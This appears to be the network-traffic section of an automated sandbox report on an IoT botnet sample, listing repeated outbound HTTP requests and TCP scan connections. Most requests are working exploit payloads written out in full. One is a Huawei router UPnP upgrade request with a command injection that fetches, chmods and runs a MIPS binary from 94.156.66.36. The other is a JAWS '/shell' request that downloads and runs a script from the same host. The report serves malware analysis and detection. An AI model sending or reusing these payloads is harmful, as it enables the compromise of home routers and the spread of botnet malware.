Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 75.194.187.212
Source: unknown	TCP traffic detected without corresponding DNS query: 35.244.17.228
Source: unknown	TCP traffic detected without corresponding DNS query: 79.65.129.179
Source: unknown	TCP traffic detected without corresponding DNS query: 219.160.31.177
Source: unknown	TCP traffic detected without corresponding DNS query: 185.124.166.143
Source: unknown	TCP traffic detected without corresponding DNS query: 61.120.112.120
Source: unknown	TCP traffic detected without corresponding DNS query: 197.104.241.177
Source: unknown	TCP traffic detected without corresponding DNS query: 179.145.220.68
Source: unknown	TCP traffic detected without corresponding DNS query: 111.179.43.245
Source: unknown	TCP traffic detected without corresponding DNS query: 96.122.77.182
Source: unknown	TCP traffic detected without corresponding DNS query: 51.40.99.206
Source: unknown	TCP traffic detected without corresponding DNS query: 69.146.185.2
Source: unknown	TCP traffic detected without corresponding DNS query: 161.7.16.59
Source: unknown	TCP traffic detected without corresponding DNS query: 180.61.117.173
Source: unknown	TCP traffic detected without corresponding DNS query: 129.36.147.16
Source: unknown	TCP traffic detected without corresponding DNS query: 143.43.101.51
Source: unknown	TCP traffic detected without corresponding DNS query: 59.155.156.152
Source: unknown	TCP traffic detected without corresponding DNS query: 120.54.52.216
Source: unknown	TCP traffic detected without corresponding DNS query: 119.31.74.167
Source: unknown	TCP traffic detected without corresponding DNS query: 4.225.193.182
Source: unknown	TCP traffic detected without corresponding DNS query: 211.200.29.33
Source: unknown	TCP traffic detected without corresponding DNS query: 90.82.220.159
Source: unknown	TCP traffic detected without corresponding DNS query: 162.213.142.123
Source: unknown	TCP traffic detected without corresponding DNS query: 63.222.180.49
Source: unknown	TCP traffic detected without corresponding DNS query: 118.35.191.236
Source: unknown	TCP traffic detected without corresponding DNS query: 50.224.78.115
Source: unknown	TCP traffic detected without corresponding DNS query: 5.19.74.197
Source: unknown	TCP traffic detected without corresponding DNS query: 180.133.209.194
Source: unknown	TCP traffic detected without corresponding DNS query: 4.198.192.104
Source: unknown	TCP traffic detected without corresponding DNS query: 5.35.122.177
Source: unknown	TCP traffic detected without corresponding DNS query: 171.106.134.41
Source: unknown	TCP traffic detected without corresponding DNS query: 158.55.79.157
Source: unknown	TCP traffic detected without corresponding DNS query: 140.98.53.114
Source: unknown	TCP traffic detected without corresponding DNS query: 213.160.23.120
Source: unknown	TCP traffic detected without corresponding DNS query: 106.221.113.137
Source: unknown	TCP traffic detected without corresponding DNS query: 20.182.133.11
Source: unknown	TCP traffic detected without corresponding DNS query: 206.19.202.79
Source: unknown	TCP traffic detected without corresponding DNS query: 51.47.204.93
Source: unknown	TCP traffic detected without corresponding DNS query: 105.223.255.19
Source: unknown	TCP traffic detected without corresponding DNS query: 134.137.182.32
Source: unknown	TCP traffic detected without corresponding DNS query: 94.85.106.7
Source: unknown	TCP traffic detected without corresponding DNS query: 82.122.141.208
Source: unknown	TCP traffic detected without corresponding DNS query: 100.219.196.236
Source: unknown	TCP traffic detected without corresponding DNS query: 216.127.235.203
Source: unknown	TCP traffic detected without corresponding DNS query: 9.237.204.191
Source: unknown	TCP traffic detected without corresponding DNS query: 31.236.88.240
Source: unknown	TCP traffic detected without corresponding DNS query: 51.1.211.74
Source: unknown	TCP traffic detected without corresponding DNS query: 13.192.118.185
Source: unknown	TCP traffic detected without corresponding DNS query: 192.82.170.133
Source: unknown	TCP traffic detected without corresponding DNS query: 154.240.65.35

Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
